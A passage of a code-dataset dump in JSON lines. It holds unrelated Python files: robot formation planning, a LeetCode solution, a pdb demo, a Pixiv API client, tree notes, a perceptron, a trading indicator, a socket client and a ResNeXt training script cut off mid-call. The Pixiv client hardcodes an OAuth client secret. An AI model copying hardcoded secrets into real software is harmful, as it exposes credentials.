right_y = -robot_orient.x\n right_point = Point(robot_pos.x + right_x * dist, robot_pos.y + right_y * dist)\n return (left_point, robot_pos), (right_point, robot_pos)\n\ndef func1(robot1_pos, robot2_pos, distance):\n x1 = robot1_pos.x\n y1 = robot1_pos.y\n x2 = robot2_pos.x\n y2 = robot2_pos.y\n xm = (x1 + x2) / 2\n ym = (y1 + y2) / 2\n mid_p = Point(xm, ym)\n p1 = get_point_at_distance_and_angle(mid_p, robot1_pos, distance)\n p2 = get_point_at_distance_and_angle(mid_p, robot2_pos, distance)\n return p1, p2\n\ndef get_point_at_distance_and_angle(p1, p2, distance):\n delta_x = p2.x - p1.x\n delta_y = p2.y - p1.y\n mod_v = sqrt(delta_x ** 2 + delta_y ** 2)\n v = Point(delta_x / mod_v, delta_y / mod_v)\n p3_x = p1.x + distance * v.x\n p3_y = p1.y + distance * v.y\n return Point(p3_x, p3_y)\n\ndef straight_line_equation(x1, y1, x2, y2, x):\n k = x1 * y1 - x1 * y2 + y1 * (x2 - x1)\n k1 = x2 - x1\n k2 = y2 - y1\n y = (k2 * x + k) / k1\n return y\n\ndef convert_path_to_point2d(path):\n new_path = []\n for state in path:\n new_state = Point(state[0], state[1])\n new_path.append(new_state)\n return new_path\n\ndef degrees_to_radians(angle):\n radians = angle * math.pi / 180\n return radians\n\ndef get_dir_vector_between_points(p1, p2):\n direction_vector = (p2.x - p1.x, p2.y - p1.y)\n direction_vector_mod = sqrt(direction_vector[0] ** 2 + direction_vector[1] ** 2)\n norm_direction_vector = Point(direction_vector[0] / direction_vector_mod, \\\n direction_vector[1] / direction_vector_mod)\n return norm_direction_vector\n\ndef get_angle_between_points(p1, p2):\n direction_vector = (p2.x - p1.x, p2.y - p1.y)\n direction_vector_mod = sqrt(direction_vector[0] ** 2 + direction_vector[1] ** 2)\n norm_direction_vector = (direction_vector[0] / direction_vector_mod, \\\n direction_vector[1] / direction_vector_mod)\n if norm_direction_vector[1] != 0:\n angle = acos(norm_direction_vector[0]) * 180 / pi * fabs(norm_direction_vector[1]) / \\\n norm_direction_vector[1]\n else:\n angle = acos(norm_direction_vector[0]) * 180 / pi\n return angle\n\ndef angle_to_vector(angle):\n rad_angle = degrees_to_radians(angle)\n vector = Point(cos(rad_angle), sin(rad_angle))\n return vector\n\nif __name__ == \"__main__\":\n vrep_con = Vrep(const.CON_PORT)\n r = 0.2\n step_size = 0.05\n handle1 = vrep_con.get_object_handle('marsbase')\n handle2 = vrep_con.get_object_handle('marsbase1')\n handle3 = vrep_con.get_object_handle('marsbase2')\n handle4 = vrep_con.get_object_handle('marsbase3')\n handle5 = vrep_con.get_object_handle('marsbase4')\n handle6 = vrep_con.get_object_handle('marsbase5')\n handle7 = vrep_con.get_object_handle('marsbase6')\n handle8 = vrep_con.get_object_handle('marsbase7')\n handle9 = vrep_con.get_object_handle('marsbase8')\n handle10 = vrep_con.get_object_handle('marsbase9')\n robots = [handle1, handle2, handle3, handle4, handle5, \\\n handle6, handle7, handle8, handle9, handle10]\n\n pos1 = vrep_con.get_object_position(handle1)\n pos2 = vrep_con.get_object_position(handle2)\n left_goal, right_goal = func1(pos1, pos2, distance=0.092)\n vrep_con.create_dummy(left_goal)\n vrep_con.create_dummy(right_goal)\n left_orient = get_dir_vector_between_points(left_goal, right_goal)\n right_orient = get_dir_vector_between_points(right_goal, left_goal)\n goal_points = []\n llsp, rlsp = get_side_points(left_goal, left_orient)\n leg1_p = get_consistent_point(llsp[0], get_angle_between_points(llsp[0], llsp[1]), \"right\")\n leg2_p = get_consistent_point(rlsp[0], get_angle_between_points(rlsp[0], rlsp[1]), \"left\")\n goal_points.append(llsp)\n goal_points.append(rlsp)\n goal_points.append((leg1_p, leg2_p))\n goal_points.append((leg2_p, leg1_p))\n lrsp, rrsp = get_side_points(right_goal, right_orient)\n leg3_p = get_consistent_point(lrsp[0], get_angle_between_points(lrsp[0], lrsp[1]), \"right\")\n leg4_p = get_consistent_point(rrsp[0], get_angle_between_points(rrsp[0], rrsp[1]), \"left\")\n goal_points.append(lrsp)\n goal_points.append(rrsp)\n goal_points.append((leg3_p, leg4_p))\n goal_points.append((leg4_p, leg3_p))\n robot1 = Robot(handle1, const.CON_PORT + 8, [left_goal], right_goal)\n robot2 = Robot(handle2, const.CON_PORT + 9, [right_goal], left_goal)\n robot1.start()\n robot2.start()\n for item in goal_points:\n vrep_con.create_dummy(item[0])\n paths = {}\n orient_points = {}\n robot_threads = {}\n robots = [handle3, handle4, handle5, handle6, handle7, handle8, handle9, handle10]\n for robot in robots:\n min_dist = 100\n robot_pos = vrep_con.get_object_position(robot)\n robot_orient = degrees_to_radians(vrep_con.get_mars_direction(robot))\n for target in goal_points:\n current_dist = robot_pos.get_distance_to(target[0])\n if current_dist < min_dist:\n min_dist = current_dist\n chosen_target = target\n goal_points.remove(chosen_target)\n final_orient = degrees_to_radians(get_angle_between_points(chosen_target[0], chosen_target[1]))\n q0 = (robot_pos.x, robot_pos.y, robot_orient)\n q1 = (chosen_target[0].x, chosen_target[0].y, final_orient)\n solution = dubins.shortest_path(q0, q1, r)\n configurations, _ = solution.sample_many(step_size)\n path = convert_path_to_point2d(configurations)\n path.append(chosen_target[0])\n paths[str(robot)] = path\n orient_points[str(robot)] = chosen_target[1]\n vrep_con.finish_connection()\n sleep(1)\n port_num = const.CON_PORT\n\n for robot in robots:\n robot_threads[str(robot)] = Robot(robot, port_num, paths[str(robot)], orient_points[str(robot)])\n port_num += 1\n sleep(1)\n for robot in robots:\n robot_threads[str(robot)].start()\n\n\n","sub_path":"mars_spider_formation.py","file_name":"mars_spider_formation.py","file_ext":"py","file_size_in_byte":25855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"309640699","text":"#Problem Link:- https://leetcode.com/problems/can-you-eat-your-favorite-candy-on-your-favorite-day/\n\n\"\"\"You are given a (0-indexed) array of positive integers candiesCount where candiesCount[i] \nrepresents the number of candies of the ith type you have. You are also given a 2D array queries \nwhere queries[i] = [favoriteTypei, favoriteDayi, dailyCapi].\nYou play a game with the following rules:\n1.You start eating candies on day 0.\n2.You cannot eat any candy of type i unless you have eaten all candies of type i - 1.\n3.You must eat at least one candy per day until you have eaten all the candies.\nConstruct a boolean array answer such that answer.length == queries.length and answer[i] is true \nif you can eat a candy of type favoriteTypei on day favoriteDayi without eating more than dailyCapi \ncandies on any day, and false otherwise. Note that you can eat different types of candy on the same \nday, provided that you follow rule 2.Return the constructed array answer.\"\"\"\n\nclass Solution:\n def canEat(self, candiesCount: List[int], queries: List[List[int]]) -> List[bool]:\n for i in range(1,len(candiesCount)):\n candiesCount[i] += candiesCount[i-1]\n ans = []\n for typ,day,cap in queries:\n if typ == 0:\n first = 0\n last = candiesCount[0] - 1\n else:\n first = candiesCount[typ-1] // cap\n last = candiesCount[typ] - 1\n if day >= first and day <= last:\n ans.append(True)\n else:\n ans.append(False)\n return ans","sub_path":"Array/CanYouEatYourFavoriteCandyOnYourFavoriteDay?.py","file_name":"CanYouEatYourFavoriteCandyOnYourFavoriteDay?.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"136535122","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\n启动Python的调试器pdb,让程序以单步方式运行,可以随时查看运行状态\r\n\r\n以参数-m pdb启动后,pdb定位到下一步要执行的代码-> s = '0'\r\npython -m pdb do_pdb.py\r\n输入命令l来查看代码\r\n输入命令n可以单步执行代码\r\n任何时候都可以输入命令p 变量名来查看变量\r\n输入命令q结束调试,退出程序\r\n\"\"\"\r\n\r\nimport pdb\r\n\r\ns = '0'\r\nn = int(s)\r\npdb.set_trace() # 运行到这里会自动暂停\r\nprint(10 / n)\r\n","sub_path":"debug/do_pdb.py","file_name":"do_pdb.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"184905640","text":"from functools import lru_cache\nimport json\nfrom nullroute.core import Core, Env\nimport nullroute.sec\nfrom nullroute.sec.util import OAuthTokenCache\nimport os\nimport pixivpy3\nimport requests\nimport time\n\nclass PixivApiError(Exception):\n pass\n\nclass PixivApiClient():\n def __init__(self):\n self.ua = requests.Session()\n self.ua.mount(\"http://\", requests.adapters.HTTPAdapter(max_retries=3))\n self.ua.mount(\"https://\", requests.adapters.HTTPAdapter(max_retries=3))\n\n self.tc = OAuthTokenCache(\"api.pixiv.net\", display_name=\"Pixiv API\")\n\n self.api = pixivpy3.PixivAPI()\n if not hasattr(self.api, \"client_secret\"):\n Core.warn(\"this pixivpy3.PixivAPI version does not allow overridding client_secret; OAuth won't work properly\")\n self.api.client_id = \"MOBrBDS8blbauoSck0ZfDbtuzpyT\"\n self.api.client_secret = \"lsACyCD94FhDUtGTXi3QzcFE2uU1hqtDaKeqrdwj\"\n self.api.requests = self.ua\n\n def _load_token(self):\n return self.tc.load_token()\n\n def _store_token(self, token):\n data = {\n \"access_token\": token.response.access_token,\n \"refresh_token\": token.response.refresh_token,\n \"expires_at\": int(time.time() + token.response.expires_in),\n \"user_id\": token.response.user.id,\n }\n return self.tc.store_token(data)\n\n def _forget_token(self, token):\n return self.tc.forget_token()\n\n # API authentication\n\n def _load_creds(self):\n creds = nullroute.sec.get_netrc(\"pixiv.net\", service=\"api\")\n return creds\n\n def _authenticate(self):\n if self.api.user_id:\n Core.warn(\"BUG: _authenticate() called twice\")\n return True\n\n data = self._load_token()\n if data:\n Core.trace(\"loaded token: %r\", data)\n if os.environ.get(\"FORCE_TOKEN_REFRESH\"):\n token_valid = False\n else:\n token_valid = data[\"expires_at\"] > time.time()\n\n if token_valid:\n Core.debug(\"access token within expiry time, using as-is\")\n self.api.user_id = data[\"user_id\"]\n self.api.access_token = data[\"access_token\"]\n self.api.refresh_token = data[\"refresh_token\"]\n return True\n else:\n Core.debug(\"access token has expired, renewing\")\n try:\n token = self.api.auth(refresh_token=data[\"refresh_token\"])\n Core.trace(\"retrieved token: %r\", token)\n except Exception as e:\n Core.warn(\"could not refresh access token: %r\", e)\n #self._forget_token()\n else:\n self._store_token(token)\n return True\n\n data = self._load_creds()\n if data:\n Core.info(\"logging in to Pixiv as %r\", data[\"login\"])\n try:\n token = self.api.auth(username=data[\"login\"],\n password=data[\"password\"])\n except Exception as e:\n Core.warn(\"could not log in using username & password: %r\", e)\n else:\n self._store_token(token)\n return True\n\n Core.die(\"could not log in to Pixiv (no credentials)\")\n return False\n\n ## JSON API functions\n\n @lru_cache(maxsize=1024)\n def get_illust_info(self, illust_id):\n Core.trace(\"calling api.works(illust_id=%r)\", illust_id)\n resp = self.api.works(illust_id)\n if resp[\"status\"] == \"success\":\n return resp[\"response\"][0]\n else:\n raise PixivApiError(\"API call failed: %r\" % resp)\n\n @lru_cache(maxsize=1024)\n def get_member_info(self, member_id):\n Core.trace(\"calling api.users(member_id=%r)\", member_id)\n resp = self.api.users(member_id)\n if resp[\"status\"] == \"success\":\n return resp[\"response\"][0]\n else:\n raise PixivApiError(\"API call failed: %r\" % resp)\n\n def get_member_works(self, member_id, **kwargs):\n resp = self.api.users_works(member_id, **kwargs)\n if resp[\"status\"] == \"success\":\n # paginated API -- include {pagination:, count:}\n return resp\n else:\n raise PixivApiError(\"API call failed: %r\" % resp)\n\nimport re\n\nclass PixivClient():\n MEMBER_FMT = \"https://www.pixiv.net/member.php?id=%s\"\n ILLUST_URL = \"https://www.pixiv.net/member_illust.php?mode=%s&illust_id=%s\"\n\n def __init__(self):\n self.member_name_map = {}\n self._load_member_name_map()\n\n def _load_member_name_map(self):\n map_path = Env.find_config_file(\"pixiv_member_names.txt\")\n try:\n Core.debug(\"loading member aliases from %r\", map_path)\n with open(map_path, \"r\") as fh:\n self.member_name_map = {}\n for line in fh:\n if line.startswith((\";\", \"#\", \"\\n\")):\n continue\n k, v = line.split(\"=\")\n self.member_name_map[k.strip()] = v.strip()\n except FileNotFoundError:\n Core.debug(\"member alias file %r not found; ignoring\", map_path)\n\n def fmt_member_tag(self, member_id, member_name):\n member_name = self.member_name_map.get(str(member_id), member_name)\n # Dropbox cannot sync non-BMP characters\n member_name = re.sub(r\"[^\\u0000-\\uFFFF]\", \"�\", member_name)\n member_name = re.sub(\"(@|@).*\", \"\", member_name)\n member_name = re.sub(r\"[◆✦|_✳︎]?([0-9一三]|月曜)日.+?[0-9]+[a-z]*\", \"\", member_name)\n member_name = member_name.replace(\" \", \"_\")\n return \"%s_pixiv%s\" % (member_name, member_id)\n\n def fmt_member_url(self, member_id):\n return self.MEMBER_FMT % (member_id,)\n\n def fmt_illust_url(self, illust_id, mode=\"medium\"):\n return self.ILLUST_URL % (mode, illust_id)\n","sub_path":"lib/python/nullroute/api/pixiv.py","file_name":"pixiv.py","file_ext":"py","file_size_in_byte":5941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"278894531","text":"# Code with notes\n\n\nclass BinarySearchTree:\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n\n # Insert the given value into the tree\n def insert(self, value):\n # If inserting we must already have a tree/root\n # if value is less than self.value go left, make a new tree/node if empty, otherwise\n # keep going (recursion)\n if value < self.value:\n if self.left == None:\n self.left = BinarySearchTree(value)\n else:\n self.left.insert(value)\n # if greater than or equal to then go right, make a new tree/node if empty, otherwise\n # keep going (recursion)\n if value >= self.value:\n if self.right == None:\n self.right = BinarySearchTree(value)\n else:\n self.right.insert(value)\n\n # Return True if the tree contains the value\n # False if it does not\n\n def contains(self, target):\n # if target == self.value return it\n # otherwise go left or right based on smaller\n current = self\n while current:\n if target < current.value:\n current = current.left\n elif target > current.value:\n current = current.right\n elif target == current.value:\n return True\n else:\n return False\n\n # Return the maximum value found in the tree\n def get_max(self):\n # if right exists, go right\n # otherwise return self.value\n current = self\n while current.right:\n current = current.right\n return current.value\n\n # Call the function `cb` on the value of each node\n # You may use a recursive or iterative approach\n\n def for_each(self, cb):\n # call for_each on the current value\n cb(self.value)\n # if there is a left go left and call cb\n if self.left:\n self.left.for_each(cb)\n # if there is a right go right and call cb\n if self.right:\n self.right.for_each(cb)\n\n\n# Lecture solution for Binary Search Tree\n'''\nclass BinarySearchTree:\n def __init(self, value):\n self.value = value\n self.left = None\n self.right = None\n\n def insert(self, value):\n if value < self.value:\n if not self.left:\n self.left = BinarySearchTree(value)\n else:\n self.left.insert(value)\n if value >= self.value:\n if self.right is None:\n self.right = BinarySearchTree(value)\n else:\n self.right.insert(value)\n\n def contains(self, target):\n if target == self.value:\n return True\n if target < self.value:\n if self.left is None:\n return False\n else:\n return self.left.contains(target)\n else:\n if self.right is None:\n return False\n else:\n return self.right.contains(target)\n\n def get_max(self):\n if self.right:\n return self.right.get_max()\n else:\n return self.value\n\n def for_each(self, cb):\n cb(self.value)\n if self.left:\n self.left.for_each(cb)\n if self.right:\n self.right.for_each(cb)\n \n # iterative for_each\n stack = Stack()\n stack.push(self) #push the node itself not its value\n\n while stack.len() > 0:\n current_node = stack.pop()\n if current_node.right:\n stack.push(current_node.right)\n if current_node.left:\n stack.push(current_node.left)\n cb(current_node.value)\n\n'''\n","sub_path":"Notes.py","file_name":"Notes.py","file_ext":"py","file_size_in_byte":3758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"331769500","text":"# text p.28\nimport pandas as pd\ndf = pd.read_csv('https://archive.ics.uci.edu/ml/'\n 'machine-learning-databases/iris/iris.data', header=None)\ndf.tail()\nimport matplotlib.pyplot as plt\nimport numpy as np\n#1-100行目の目的て変数の抽出\ny = df.iloc[0:100, 4].values\n# Iris-setosaを-1、Iris-virginicaを1に変換\ny = np.where(y == 'Iris-setosa', -1, 1)\n#1-100行目の1,3列目の抽出\nX = df.iloc[0:100, [0, 2]].values\n# 品種setosaのプロット(赤の○)\n# plt.scatter(X[:50,0], X[:50,1],color='red', marker='o', label='setosa')\n# # 品種versicolorのプロット(青の☓)\n# plt.scatter(X[50:100,0], X[50:100,1],color='blue', marker='x', label='versicolor')\n# #軸のラベル設定\n# plt.xlabel('sepal length [cm]')\n# plt.ylabel('petal length [cm]')\n# plt.show()\n\n#text p.29\n#凡例の設定(左上に配置)\nfrom test import Perceptron\n#パーセプロトンのオブジェクトの作製(インスタンス化)\nppn = Perceptron(eta=0.1, n_iter=10)\n# トレーニングデータへのモデル適合\nppn.fit(X,y)\nplt.plot(range(1, len(ppn.errors_) + 1), ppn.errors_, marker='o')\n# 軸のラベル設定\nplt.xlabel('sepal length [cm]')\nplt.ylabel('Numbet of misclassifications')\n# 図の表示\nplt.legend(loc='upper left')\n#図の表示\nplt.show()\n","sub_path":"test/per_tes.py","file_name":"per_tes.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"380873414","text":"# @ credit to\n# github: wyf-ACCEPT \n# email : define_wifi@163.com\n\n# CCI 顺势指标\n\nimport numpy as np\nimport pandas as pd\n\ndef CCI(\n data: pd.DataFrame,\n N: int = 5,\n):\n assert {'Open', 'Close', 'High', 'Low', 'Volume'} <= set(data.columns), \\\n \"The OHCLV information ('Open', 'Close', 'High', 'Low', 'Volume') should be in the data!\"\n \n MA = data['Close'].rolling(N).mean().fillna(method='bfill')\n TP = (data['High'] + data['Low'] + data['Close']) / 3\n MD = (MA - data['Close']).rolling(N).mean().fillna(method='bfill')\n \n cci = (TP - MA) / MD / 0.015\n return cci","sub_path":"teams/04-EternityLabs/src/eternity-backend-server/eternity_backend_server/blueprints/analiysis/py_analysis/CCI.py","file_name":"CCI.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"197402787","text":"# 2.py\nfrom socket import *\n# 创建套接字\nsockfd = socket(AF_INET, SOCK_STREAM)\n# 发起连接\nserver_addr = ('127.0.0.1', 3910)\nsockfd.connect(server_addr)\nwhile True:\n # 消息发送接收\n data = input('发送>>')\n sockfd.send(data.encode())\n if data == '':\n break\n data = sockfd.recv(1024)\n print(\"接收到:\", data.decode())\n\n# 关闭套接字\nsockfd.close()\n\n# from socket import *\n# #创建套接字\n# sockfd = socket(AF_INET,SOCK_STREAM)\n# #发起连接\n# server_addr = ('127.0.0.1',3911)\n# sockfd.connect(server_addr)\n# #消息发送接收\n# while True:\n# data = input('发送:')\n# if not data:\n# break\n# sockfd.sendall(data.encode())\n# data = sockfd.recv(1024)\n# print(\"接收到\",data.decode())\n\n# #关闭套接字\n# sockfd.close()\n","sub_path":"aid1807习题总结/tcp与udp/tcp_cilent.py","file_name":"tcp_cilent.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"645504574","text":"import os, pickle\nfrom tqdm import tqdm, trange\nfrom environment import PandaEnv\nfrom controller import DSController, RLController, RRTController\nfrom kernel import TransitionKernel, RRTKernelNormal, ReachingEnvKernelNormal\n\n\ndef sample_prior(N, save_fn, env, controller, ek, ck):\n\tif os.path.isfile(save_fn):\n\t\tinput('File already exists. Press Enter to append to the file. Press Ctrl-C to abort... ')\n\t\tdata = pickle.load(open(save_fn, 'rb'))\n\telse:\n\t\tdata = []\n\tfor _ in trange(N):\n\t\tek.sample_prior()\n\t\tck.sample_prior()\n\t\tenv.reset(target_loc=ek.value)\n\t\ttraj = controller.get_trajectory(env, ck)\n\t\tdata.append((ek.value, ck.value, traj))\n\tpickle.dump(data, open(save_fn, 'wb'))\n\n\ndef main():\n\tidx = input('Please select the controller -- \\n1a. Original Dynamical System\\n1b. Improved Dynamical System\\n' + \n\t\t\t\t'2. Reinforcement Learning\\n3. Rapidly-Exploring Random Tree\\nEnter your choice: ')\n\tassert idx in ['1a', '1b', '2', '3'], 'Invalid input! The input needs to be 1a, 1b, 2, or 3. '\n\tenv = PandaEnv()\n\tenv_kernel = ReachingEnvKernelNormal()\n\tif idx == '1a':\n\t\tcontroller = DSController(typ='original')\n\t\tcontroller_kernel = TransitionKernel()\n\t\tsave_fn = 'samples/ds_original_prior.pkl'\n\telif idx == '1b':\n\t\tcontroller = DSController(typ='improved')\n\t\tcontroller_kernel = TransitionKernel()\n\t\tsave_fn = 'samples/ds_improved_prior.pkl'\n\telif idx == '2':\n\t\tcontroller = RLController()\n\t\tcontroller_kernel = TransitionKernel()\n\t\tsave_fn = 'samples/rl_prior.pkl'\n\telse:\n\t\tcontroller = RRTController()\n\t\tcontroller_kernel = RRTKernelNormal()\n\t\tsave_fn = 'samples/rrt_prior.pkl'\n\tsample_prior(2000, save_fn, env, controller, env_kernel, controller_kernel)\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"7dof_arm_reaching/sample_prior.py","file_name":"sample_prior.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"162407839","text":"import numpy as np\nimport os\nimport argparse\nimport keras\nfrom keras import backend as K\nimport tensorflow as tf\nfrom keras.models import Sequential, Model\nfrom keras import layers\nfrom keras.layers import Input,Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras.optimizers import SGD\nfrom keras.utils import to_categorical\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras import callbacks\nfrom keras.utils.vis_utils import plot_model\nfrom load_miniplaces import loadMiniplaces,loadMiniplacesBatch\n\n\ndef resnet():\n model = Sequential()\n # input: 100x100 images with 3 channels -> (100, 100, 3) tensors.\n # this applies 32 convolution filters of size 3x3 each.\n model.add(Conv2D(32, (3, 3), activation='relu', input_shape=(100, 100, 3)))\n model.add(Conv2D(32, (3, 3), activation='relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(0.25))\n\n model.add(Conv2D(64, (3, 3), activation='relu'))\n model.add(Conv2D(64, (3, 3), activation='relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(0.25))\n\n model.add(Flatten())\n model.add(Dense(256, activation='relu'))\n model.add(Dropout(0.5))\n model.add(Dense(100, activation='softmax'))\n return model\n\ndef resnet32():\n cardinality = 32\n x = Input(shape=(100, 100, 3))\n y = residual_network(x,cardinality,100)\n return Model(inputs=x,outputs=y)\n\n\ndef residual_network(x,cardinality,output_shape):\n \"\"\"\n ResNeXt by default. For ResNet set `cardinality` = 1 above.\n \n \"\"\"\n def add_common_layers(y):\n y = layers.BatchNormalization()(y)\n y = layers.LeakyReLU()(y)\n\n return y\n\n def grouped_convolution(y, nb_channels, _strides):\n # when `cardinality` == 1 this is just a standard convolution\n if cardinality == 1:\n return layers.Conv2D(nb_channels, kernel_size=(3, 3), strides=_strides, padding='same')(y)\n \n assert not nb_channels % cardinality\n _d = nb_channels // cardinality\n\n # in a grouped convolution layer, input and output channels are divided into `cardinality` groups,\n # and convolutions are separately performed within each group\n groups = []\n for j in range(cardinality):\n group = layers.Lambda(lambda z: z[:, :, :, j * _d:j * _d + _d])(y)\n groups.append(layers.Conv2D(_d, kernel_size=(3, 3), strides=_strides, padding='same')(group))\n \n # the grouped convolutional layer concatenates them as the outputs of the layer\n y = layers.concatenate(groups)\n\n return y\n\n def residual_block(y, nb_channels_in, nb_channels_out, _strides=(1, 1), _project_shortcut=False):\n \"\"\"\n Our network consists of a stack of residual blocks. These blocks have the same topology,\n and are subject to two simple rules:\n - If producing spatial maps of the same size, the blocks share the same hyper-parameters (width and filter sizes).\n - Each time the spatial map is down-sampled by a factor of 2, the width of the blocks is multiplied by a factor of 2.\n \"\"\"\n shortcut = y\n\n # we modify the residual building block as a bottleneck design to make the network more economical\n y = layers.Conv2D(nb_channels_in, kernel_size=(1, 1), strides=(1, 1), padding='same')(y)\n y = add_common_layers(y)\n\n # ResNeXt (identical to ResNet when `cardinality` == 1)\n y = grouped_convolution(y, nb_channels_in, _strides=_strides)\n y = add_common_layers(y)\n\n y = layers.Conv2D(nb_channels_out, kernel_size=(1, 1), strides=(1, 1), padding='same')(y)\n # batch normalization is employed after aggregating the transformations and before adding to the shortcut\n y = layers.BatchNormalization()(y)\n\n # identity shortcuts used directly when the input and output are of the same dimensions\n if _project_shortcut or _strides != (1, 1):\n # when the dimensions increase projection shortcut is used to match dimensions (done by 1×1 convolutions)\n # when the shortcuts go across feature maps of two sizes, they are performed with a stride of 2\n shortcut = layers.Conv2D(nb_channels_out, kernel_size=(1, 1), strides=_strides, padding='same')(shortcut)\n shortcut = layers.BatchNormalization()(shortcut)\n\n y = layers.add([shortcut, y])\n\n # relu is performed right after each batch normalization,\n # expect for the output of the block where relu is performed after the adding to the shortcut\n y = layers.LeakyReLU()(y)\n\n return y\n\n\n # conv1\n x = layers.Conv2D(64, kernel_size=(7, 7), strides=(2, 2), padding='same')(x)\n x = add_common_layers(x)\n\n # conv2\n x = layers.MaxPool2D(pool_size=(3, 3), strides=(2, 2), padding='same')(x)\n for i in range(3):\n project_shortcut = True if i == 0 else False\n x = residual_block(x, 128, 256, _project_shortcut=project_shortcut)\n\n # conv3\n for i in range(4):\n # down-sampling is performed by conv3_1, conv4_1, and conv5_1 with a stride of 2\n strides = (2, 2) if i == 0 else (1, 1)\n x = residual_block(x, 256, 512, _strides=strides)\n\n # conv4\n for i in range(6):\n strides = (2, 2) if i == 0 else (1, 1)\n x = residual_block(x, 512, 1024, _strides=strides)\n\n # conv5\n for i in range(3):\n strides = (2, 2) if i == 0 else (1, 1)\n x = residual_block(x, 1024, 2048, _strides=strides)\n\n x = layers.GlobalAveragePooling2D()(x)\n x = layers.Dense(output_shape,activation=\"softmax\")(x)\n\n return x\n\ndef train(model, data, args):\n \"\"\"\n Training a CapsuleNet\n :param model: the CapsuleNet model\n :param data: a tuple containing training and testing data, like `((x_train, y_train), (x_test, y_test))`\n :param args: arguments\n :return: The trained model\n \"\"\"\n # unpacking the data\n (x_train, y_train), (x_test, y_test) = data\n\n # callbacks\n log = callbacks.CSVLogger(args.save_dir + '/log.csv')\n tb = callbacks.TensorBoard(log_dir=args.save_dir + '/tensorboard-logs',\n batch_size=args.batch_size, histogram_freq=args.debug)\n checkpoint = callbacks.ModelCheckpoint(args.save_dir + '/weights-resnet-{epoch:02d}.h5',\n save_best_only=True, save_weights_only=True, verbose=1)\n lr_decay = callbacks.LearningRateScheduler(schedule=lambda epoch: args.lr * (0.9 ** epoch))\n\n # compile the model\n # model.compile(optimizer=optimizers.Adam(lr=args.lr),\n # loss=[margin_loss, 'mse'],\n # loss_weights=[1., args.lam_recon],\n # metrics={'out_caps': 'accuracy'})\n sgd = SGD(lr=0.01, decay=1e-6, momentum=0.9, nesterov=True)\n model.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=['mae', 'acc','top_k_categorical_accuracy'])\n\n \n # Training without data augmentation:\n model.fit(x_train, y_train, batch_size=args.batch_size, epochs=args.epochs, callbacks=[log, tb, checkpoint, lr_decay],validation_data=(x_test,y_test))\n \n\n # # Begin: Training with data augmentation ---------------------------------------------------------------------#\n # def train_generator(x, y, batch_size, shift_fraction=0.):\n # train_datagen = ImageDataGenerator(width_shift_range=shift_fraction,\n # height_shift_range=shift_fraction) \n # generator = train_datagen.flow(x, y, batch_size=batch_size)\n # while 1:\n # x_batch, y_batch = generator.next()\n # yield ([x_batch, y_batch], [y_batch, x_batch])\n\n # # Training with data augmentation. If shift_fraction=0., also no augmentation.\n # model.fit_generator(generator=train_generator(x_train, y_train, args.batch_size, args.shift_fraction),\n # steps_per_epoch=int(y_train.shape[0] / args.batch_size),\n # epochs=args.epochs,\n # validation_data=[[x_test, y_test], [y_test, x_test]],\n # callbacks=[log, tb, checkpoint, lr_decay])\n # # End: Training with data augmentation -----------------------------------------------------------------------#\n\n model.save_weights(args.save_dir + '/trained_model.h5')\n print('Trained model saved to \\'%s/trained_model.h5\\'' % args.save_dir)\n\n return model\n\n\ndef trainBatch(model, args):\n \"\"\"\n Training a CapsuleNet\n :param model: the CapsuleNet model\n :param data: a tuple containing training and testing data, like `((x_train, y_train), (x_test, y_test))`\n :param args: arguments\n :return: The trained model\n \"\"\"\n\n # callbacks\n log = callbacks.CSVLogger(args.save_dir + '/log.csv')\n tb = callbacks.TensorBoard(log_dir=args.save_dir + '/tensorboard-logs',\n batch_size=args.batch_size, histogram_freq=args.debug)\n checkpoint = callbacks.ModelCheckpoint(args.save_dir + '/weights-resnet-{epoch:02d}.h5',\n save_best_only=True, save_weights_only=True, verbose=1)\n lr_decay = callbacks.LearningRateScheduler(schedule=lambda epoch: args.lr * (0.9 ** epoch))\n\n # compile the model\n # model.compile(optimizer=optimizers.Adam(lr=args.lr),\n # loss=[margin_loss, 'mse'],\n # loss_weights=[1., args.lam_recon],\n # metrics={'out_caps': 'accuracy'})\n sgd = SGD(lr=0.01, decay=1e-6, momentum=0.9, nesterov=True)\n model.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=['mae', 'acc','top_k_categorical_accuracy'])\n\n groups = args.groups\n for i in range(groups):\n print(\"Training Group: \",i)\n (x_test, y_test, x_train, y_train) = loadMiniplacesBatch(train_data_list, val_data_list, images_root,group=i,groups=groups,size=[100,100])\n x_train = x_train.reshape(-1, 100, 100, 3).astype('float32') / 255.\n x_test = x_test.reshape(-1, 100, 100, 3).astype('float32') / 255.\n y_train = to_categorical(y_train.astype('float32'),num_classes=100)\n y_test = to_categorical(y_test.astype('float32'),num_classes=100)\n print(x_train.shape,y_train.shape,x_test.shape,y_test.shape)\n\n # Training without data augmentation:\n model.fit(x_train, y_train, batch_size=args.batch_size, epochs=args.epochs, 